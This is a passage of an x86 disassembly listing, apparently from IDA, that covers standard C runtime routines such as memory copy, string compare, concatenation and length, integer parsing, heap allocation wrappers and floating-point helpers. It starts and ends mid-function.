loc_4156D4: ; CODE XREF: sub_4155D0:loc_41562Cj
; DATA XREF: sub_4155D0+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_4156DC: ; CODE XREF: sub_4155D0:loc_41562Cj
; DATA XREF: sub_4155D0+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_4156E4: ; CODE XREF: sub_4155D0:loc_41562Cj
; DATA XREF: sub_4155D0+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_4156EC: ; CODE XREF: sub_4155D0:loc_41562Cj
; DATA XREF: sub_4155D0+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_4156F4: ; CODE XREF: sub_4155D0:loc_41562Cj
; DATA XREF: sub_4155D0+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_4156FC: ; CODE XREF: sub_4155D0:loc_41562Cj
; DATA XREF: sub_4155D0+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41570F: ; CODE XREF: sub_4155D0:loc_41562Cj
; DATA XREF: sub_4155D0:off_4156ACo
jmp off_415718[edx*4]
; ---------------------------------------------------------------------------
align 4
off_415718 dd offset loc_415728 ; DATA XREF: sub_4155D0+35r
; sub_4155D0+92r ...
dd offset loc_415730
dd offset loc_41573C
dd offset loc_415750
; ---------------------------------------------------------------------------
loc_415728: ; CODE XREF: sub_4155D0+35j
; sub_4155D0+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_415730: ; CODE XREF: sub_4155D0+35j
; sub_4155D0+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41573C: ; CODE XREF: sub_4155D0+35j
; sub_4155D0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_415750: ; CODE XREF: sub_4155D0+35j
; sub_4155D0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_415768: ; CODE XREF: sub_4155D0+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41579C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_415790
std
rep movsd
cld
jmp off_4158B0[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_415790: ; CODE XREF: sub_4155D0+1B1j
; sub_4155D0+208j ...
neg ecx
jmp off_415860[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41579C: ; CODE XREF: sub_4155D0+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_4157B4
and eax, 3
sub ecx, eax
jmp dword ptr loc_4157B4+4[eax*4]
; ---------------------------------------------------------------------------
loc_4157B4: ; CODE XREF: sub_4155D0+1D6j
; DATA XREF: sub_4155D0+1DDr
jmp off_4158B0[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_4157C7+1
dd offset loc_4157E8
; ---------------------------------------------------------------------------
adc [eax+41h], bl
loc_4157C7: ; DATA XREF: sub_4155D0+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_415790
std
rep movsd
cld
jmp off_4158B0[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_4157E8: ; DATA XREF: sub_4155D0+1F0o
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_415790
std
rep movsd
cld
jmp off_4158B0[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_415790
std
rep movsd
cld
jmp off_4158B0[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_415864
dd offset loc_41586C
dd offset loc_415874
dd offset loc_41587C
dd offset loc_415884
dd offset loc_41588C
dd offset loc_415894
off_415860 dd offset loc_4158A7 ; DATA XREF: sub_4155D0+1C2r
; ---------------------------------------------------------------------------
loc_415864: ; DATA XREF: sub_4155D0+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41586C: ; DATA XREF: sub_4155D0+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_415874: ; DATA XREF: sub_4155D0+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41587C: ; DATA XREF: sub_4155D0+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_415884: ; DATA XREF: sub_4155D0+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41588C: ; DATA XREF: sub_4155D0+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_415894: ; DATA XREF: sub_4155D0+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_4158A7: ; CODE XREF: sub_4155D0+1C2j
; DATA XREF: sub_4155D0:off_415860o
jmp off_4158B0[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_4158B0 dd offset loc_4158C0 ; DATA XREF: sub_4155D0+1B7r
; sub_4155D0:loc_4157B4r ...
dd offset loc_4158C8
dd offset loc_4158D8
dd offset loc_4158EC
; ---------------------------------------------------------------------------
loc_4158C0: ; CODE XREF: sub_4155D0+1B7j
; sub_4155D0:loc_4157B4j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4158C8: ; CODE XREF: sub_4155D0+1B7j
; sub_4155D0:loc_4157B4j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4158D8: ; CODE XREF: sub_4155D0+1B7j
; sub_4155D0:loc_4157B4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4158EC: ; CODE XREF: sub_4155D0+1B7j
; sub_4155D0:loc_4157B4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_4155D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_415910 proc near ; CODE XREF: sub_4010B2+FCp
; sub_4010B2+118p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_41595C
loc_415920: ; CODE XREF: sub_415910+3Cj
; sub_415910+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_415954
or al, al
jz short loc_415950
cmp ah, [ecx+1]
jnz short loc_415954
or ah, ah
jz short loc_415950
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_415954
or al, al
jz short loc_415950
cmp ah, [ecx+3]
jnz short loc_415954
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_415920
mov edi, edi
loc_415950: ; CODE XREF: sub_415910+18j
; sub_415910+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_415954: ; CODE XREF: sub_415910+14j
; sub_415910+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41595C: ; CODE XREF: sub_415910+Ej
test edx, 1
jz short loc_415978
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_415954
inc ecx
or al, al
jz short loc_415950
test edx, 2
jz short loc_415920
loc_415978: ; CODE XREF: sub_415910+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_415954
or al, al
jz short loc_415950
cmp ah, [ecx+1]
jnz short loc_415954
or ah, ah
jz short loc_415950
add ecx, 2
jmp short loc_415920
sub_415910 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4159A0 proc near ; CODE XREF: sub_4010B2+19Ep
; sub_4018CA+11Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_4159B9
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_4159B9: ; CODE XREF: sub_4159A0+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_4159A0 endp
; =============== S U B R O U T I N E =======================================
sub_4159D4 proc near ; CODE XREF: sub_415A5F+4p
; sub_41E162+1A2p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_4159DC: ; CODE XREF: sub_4159D4+34j
cmp dword_437F7C, 1
jle short loc_4159F4
movzx eax, byte ptr [edi]
push 8
push eax
call sub_418556
pop ecx
pop ecx
jmp short loc_415A03
; ---------------------------------------------------------------------------
loc_4159F4: ; CODE XREF: sub_4159D4+Fj
movzx eax, byte ptr [edi]
mov ecx, off_437D70
mov al, [ecx+eax*2]
and eax, 8
loc_415A03: ; CODE XREF: sub_4159D4+1Ej
test eax, eax
jz short loc_415A0A
inc edi
jmp short loc_4159DC
; ---------------------------------------------------------------------------
loc_415A0A: ; CODE XREF: sub_4159D4+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_415A1A
cmp esi, 2Bh
jnz short loc_415A1E
loc_415A1A: ; CODE XREF: sub_4159D4+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_415A1E: ; CODE XREF: sub_4159D4+44j
xor ebx, ebx
loc_415A20: ; CODE XREF: sub_4159D4+7Bj
cmp dword_437F7C, 1
jle short loc_415A35
push 4
push esi
call sub_418556
pop ecx
pop ecx
jmp short loc_415A40
; ---------------------------------------------------------------------------
loc_415A35: ; CODE XREF: sub_4159D4+53j
mov eax, off_437D70
mov al, [eax+esi*2]
and eax, 4
loc_415A40: ; CODE XREF: sub_4159D4+5Fj
test eax, eax
jz short loc_415A51
lea eax, [ebx+ebx*4]
lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_415A20
; ---------------------------------------------------------------------------
loc_415A51: ; CODE XREF: sub_4159D4+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_415A5A
neg eax
loc_415A5A: ; CODE XREF: sub_4159D4+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4159D4 endp
; =============== S U B R O U T I N E =======================================
sub_415A5F proc near ; CODE XREF: sub_4013E9+12p
; sub_4013E9+1Dp ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_4159D4
pop ecx
retn
sub_415A5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415A6A proc near ; CODE XREF: sub_401447+318p
; sub_401BD6+460p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], 42h
mov [ebp+var_1C], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_8]
push eax
call sub_417D4C
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_415AA9
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_415AB6
; ---------------------------------------------------------------------------
loc_415AA9: ; CODE XREF: sub_415A6A+35j
lea eax, [ebp+var_20]
push eax
push 0
call sub_417C37
pop ecx
pop ecx
loc_415AB6: ; CODE XREF: sub_415A6A+3Dj
mov eax, esi
pop esi
leave
retn
sub_415A6A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_415AC0 proc near ; CODE XREF: sub_401BD6+2D8p
; sub_401BD6+2F8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_415B3A
mov dh, [ecx+1]
test dh, dh
jz short loc_415B27
loc_415AD8: ; CODE XREF: sub_415AC0+52j
; sub_415AC0+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_415AFA
test al, al
jz short loc_415AF4
loc_415AE9: ; CODE XREF: sub_415AC0+32j
mov al, [esi]
inc esi
loc_415AEC: ; CODE XREF: sub_415AC0+3Fj
cmp al, dl
jz short loc_415AFA
test al, al
jnz short loc_415AE9
loc_415AF4: ; CODE XREF: sub_415AC0+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_415AFA: ; CODE XREF: sub_415AC0+23j
; sub_415AC0+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_415AEC
lea edi, [esi-1]
loc_415B04: ; CODE XREF: sub_415AC0+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_415B33
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_415AD8
mov al, [ecx+3]
test al, al
jz short loc_415B33
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_415B04
jmp short loc_415AD8
; ---------------------------------------------------------------------------
loc_415B27: ; CODE XREF: sub_415AC0+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_417086
; ---------------------------------------------------------------------------
loc_415B33: ; CODE XREF: sub_415AC0+49j
; sub_415AC0+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_415B3A: ; CODE XREF: sub_415AC0+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_415AC0 endp
; =============== S U B R O U T I N E =======================================
sub_415B40 proc near ; CODE XREF: sub_40211A+94p
; sub_405A89+7Cp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+0Ch]
test al, 40h
jz short loc_415B55
or eax, 0FFFFFFFFh
jmp short loc_415B8F
; ---------------------------------------------------------------------------
loc_415B55: ; CODE XREF: sub_415B40+Ej
test al, 83h
jz short loc_415B8D
push esi
call sub_4186E4
push esi
mov edi, eax
call sub_41867E
push dword ptr [esi+10h]
call sub_4185CB
add esp, 0Ch
test eax, eax
jge short loc_415B7B
or edi, 0FFFFFFFFh
jmp short loc_415B8D
; ---------------------------------------------------------------------------
loc_415B7B: ; CODE XREF: sub_415B40+34j
mov eax, [esi+1Ch]
test eax, eax
jz short loc_415B8D
push eax
call sub_415E3D
and dword ptr [esi+1Ch], 0
pop ecx
loc_415B8D: ; CODE XREF: sub_415B40+17j
; sub_415B40+39j ...
mov eax, edi
loc_415B8F: ; CODE XREF: sub_415B40+13j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_415B40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415B96 proc near ; CODE XREF: sub_40211A+8Ep
; sub_40CE55+2A01p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call sub_4187B6
mov esi, eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_417D4C
push [ebp+arg_0]
mov edi, eax
push esi
call sub_418843
add esp, 18h
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_415B96 endp
; =============== S U B R O U T I N E =======================================
sub_415BC8 proc near ; CODE XREF: sub_415BE8+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
call sub_4189F0
test eax, eax
jnz short loc_415BD2
retn
; ---------------------------------------------------------------------------
loc_415BD2: ; CODE XREF: sub_415BC8+7j
push eax
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_418880
add esp, 10h
retn
sub_415BC8 endp
; =============== S U B R O U T I N E =======================================
sub_415BE8 proc near ; CODE XREF: sub_40211A+54p
; sub_405A89+2Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_415BC8
add esp, 0Ch
retn
sub_415BE8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_415C00 proc near ; CODE XREF: sub_405B23+2BFp
; sub_4099AA+75p ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_415C71
sub_415C00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_415C10 proc near ; CODE XREF: sub_40211A+32p
; sub_40211A+43p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_415C2C
loc_415C1D: ; CODE XREF: sub_415C10+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_415C5F
test ecx, 3
jnz short loc_415C1D
loc_415C2C: ; CODE XREF: sub_415C10+Bj
; sub_415C10+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_415C2C
mov eax, [ecx-4]
test al, al
jz short loc_415C6E
test ah, ah
jz short loc_415C69
test eax, 0FF0000h
jz short loc_415C64
test eax, 0FF000000h
jz short loc_415C5F
jmp short loc_415C2C
; ---------------------------------------------------------------------------
loc_415C5F: ; CODE XREF: sub_415C10+12j
; sub_415C10+4Bj
lea edi, [ecx-1]
jmp short loc_415C71
; ---------------------------------------------------------------------------
loc_415C64: ; CODE XREF: sub_415C10+44j
lea edi, [ecx-2]
jmp short loc_415C71
; ---------------------------------------------------------------------------
loc_415C69: ; CODE XREF: sub_415C10+3Dj
lea edi, [ecx-3]
jmp short loc_415C71
; ---------------------------------------------------------------------------
loc_415C6E: ; CODE XREF: sub_415C10+39j
lea edi, [ecx-4]
loc_415C71: ; CODE XREF: sub_415C00+5j
; sub_415C10+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_415C96
loc_415C7D: ; CODE XREF: sub_415C10+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_415CE8
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_415C7D
jmp short loc_415C96
; ---------------------------------------------------------------------------
loc_415C91: ; CODE XREF: sub_415C10+9Ej
; sub_415C10+B8j
mov [edi], edx
add edi, 4
loc_415C96: ; CODE XREF: sub_415C10+6Bj
; sub_415C10+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_415C91
test dl, dl
jz short loc_415CE8
test dh, dh
jz short loc_415CDF
test edx, 0FF0000h
jz short loc_415CD2
test edx, 0FF000000h
jz short loc_415CCA
jmp short loc_415C91
; ---------------------------------------------------------------------------
loc_415CCA: ; CODE XREF: sub_415C10+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_415CD2: ; CODE XREF: sub_415C10+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_415CDF: ; CODE XREF: sub_415C10+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_415CE8: ; CODE XREF: sub_415C10+72j
; sub_415C10+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_415C10 endp
; =============== S U B R O U T I N E =======================================
sub_415CF0 proc near ; CODE XREF: sub_4021FB+1A7p
; sub_4021FB:loc_4023B5p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_415D10
loc_415CFC: ; CODE XREF: sub_415CF0+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_415D43
test ecx, 3
jnz short loc_415CFC
add eax, 0
loc_415D10: ; CODE XREF: sub_415CF0+Aj
; sub_415CF0+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_415D10
mov eax, [ecx-4]
test al, al
jz short loc_415D61
test ah, ah
jz short loc_415D57
test eax, 0FF0000h
jz short loc_415D4D
test eax, 0FF000000h
jz short loc_415D43
jmp short loc_415D10
; ---------------------------------------------------------------------------
loc_415D43: ; CODE XREF: sub_415CF0+11j
; sub_415CF0+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_415D4D: ; CODE XREF: sub_415CF0+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_415D57: ; CODE XREF: sub_415CF0+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_415D61: ; CODE XREF: sub_415CF0+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_415CF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_415D70 proc near ; CODE XREF: sub_4024DC+8p
; sub_402988+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_415D90
loc_415D7C: ; CODE XREF: sub_415D70+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_415D7C
loc_415D90: ; CODE XREF: sub_415D70+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_415D70 endp
; =============== S U B R O U T I N E =======================================
sub_415D9F proc near ; CODE XREF: sub_402FDD+7Ap
; sub_402FDD+8Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, eax
cmp word ptr [eax], 0
jz short loc_415DB3
loc_415DAB: ; CODE XREF: sub_415D9F+12j
inc ecx
inc ecx
cmp word ptr [ecx], 0
jnz short loc_415DAB
loc_415DB3: ; CODE XREF: sub_415D9F+Aj
mov edx, [esp+arg_4]
push esi
loc_415DB8: ; CODE XREF: sub_415D9F+26j
mov si, [edx]
mov [ecx], si
inc ecx
inc ecx
inc edx
inc edx
test si, si
jnz short loc_415DB8
pop esi
retn
sub_415D9F endp
; =============== S U B R O U T I N E =======================================
sub_415DC9 proc near ; CODE XREF: sub_403178+220p
; sub_4033CB+C1p ...
arg_0 = dword ptr 4
push dword_4694F4
push [esp+4+arg_0]
call sub_415DDB
pop ecx
pop ecx
retn
sub_415DC9 endp
; =============== S U B R O U T I N E =======================================
sub_415DDB proc near ; CODE XREF: sub_415DC9+Ap
; sub_4167C5+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_415E04
loc_415DE2: ; CODE XREF: sub_415DDB+27j
push [esp+arg_0]
call sub_415E07
test eax, eax
pop ecx
jnz short locret_415E06
cmp [esp+arg_4], eax
jz short locret_415E06
push [esp+arg_0]
call sub_418A68
test eax, eax
pop ecx
jnz short loc_415DE2
loc_415E04: ; CODE XREF: sub_415DDB+5j
xor eax, eax
locret_415E06: ; CODE XREF: sub_415DDB+13j
; sub_415DDB+19j
retn
sub_415DDB endp
; =============== S U B R O U T I N E =======================================
sub_415E07 proc near ; CODE XREF: sub_415DDB+Bp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
cmp esi, dword_437F8C
ja short loc_415E1F
push esi
call sub_418E53
test eax, eax
pop ecx
jnz short loc_415E3B
loc_415E1F: ; CODE XREF: sub_415E07+Bj
test esi, esi
jnz short loc_415E26
push 1
pop esi
loc_415E26: ; CODE XREF: sub_415E07+1Aj
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_46AB00
call dword_42114C ; RtlAllocateHeap
loc_415E3B: ; CODE XREF: sub_415E07+16j
pop esi
retn
sub_415E07 endp
; =============== S U B R O U T I N E =======================================
sub_415E3D proc near ; CODE XREF: sub_4033CB+10Ep
; sub_4033CB+116p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_415E6A
push esi
call sub_418AFD
pop ecx
test eax, eax
push esi
jz short loc_415E5C
push eax
call sub_418B28
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_415E5C: ; CODE XREF: sub_415E3D+13j
push 0
push dword_46AB00
call dword_421150 ; RtlFreeHeap
loc_415E6A: ; CODE XREF: sub_415E3D+7j
pop esi
retn
sub_415E3D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_415E6C(double)
sub_415E6C proc near ; CODE XREF: sub_40465E+38p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_437D30
call sub_419E26
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_415EF2
call sub_419CEE
pop ecx
test eax, eax
pop ecx
jle short loc_415ED5
cmp eax, 2
jle short loc_415EC7
cmp eax, 3
jnz short loc_415ED5
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Bh ; double
call sub_4195FE
add esp, 10h
jmp short loc_415F37
; ---------------------------------------------------------------------------
loc_415EC7: ; CODE XREF: sub_415E6C+3Fj
push esi
push ebx
call sub_419E26
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_415F37
; ---------------------------------------------------------------------------
loc_415ED5: ; CODE XREF: sub_415E6C+3Aj
; sub_415E6C+44j
fld [ebp+arg_0]
fadd dbl_421670
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Bh
push 8
jmp short loc_415F2F
; ---------------------------------------------------------------------------
loc_415EF2: ; CODE XREF: sub_415E6C+2Fj
call sub_419CB3
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_415F15
loc_415F07: ; CODE XREF: sub_415E6C+ACj
push esi
push ebx
call sub_419E26
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_415F37
; ---------------------------------------------------------------------------
loc_415F15: ; CODE XREF: sub_415E6C+99j
test bl, 20h
jnz short loc_415F07
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Bh ; int
push 10h ; int
loc_415F2F: ; CODE XREF: sub_415E6C+84j
call sub_419651
add esp, 1Ch
loc_415F37: ; CODE XREF: sub_415E6C+59j
; sub_415E6C+67j ...
pop esi
pop ebx
leave
retn
sub_415E6C endp
; =============== S U B R O U T I N E =======================================
sub_415F3B proc near ; CODE XREF: sub_4177FA+9p
; sub_419EEF+21p
; DATA XREF: ...
call sub_415F53
call sub_419EEF
mov dword_469474, eax
call sub_419E9F
fnclex
retn
sub_415F3B endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_415F53 proc near ; CODE XREF: sub_415F3Bp
mov eax, offset sub_41A2DD
mov off_4380AC, offset sub_419F72
mov off_4380A8, eax
mov off_4380B0, offset sub_419FD8
mov off_4380B4, offset sub_419F18
mov off_4380B8, offset sub_419FC0
mov off_4380BC, eax
retn
sub_415F53 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415F8C proc near ; CODE XREF: sub_40465E+1Bp
; sub_40465E+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
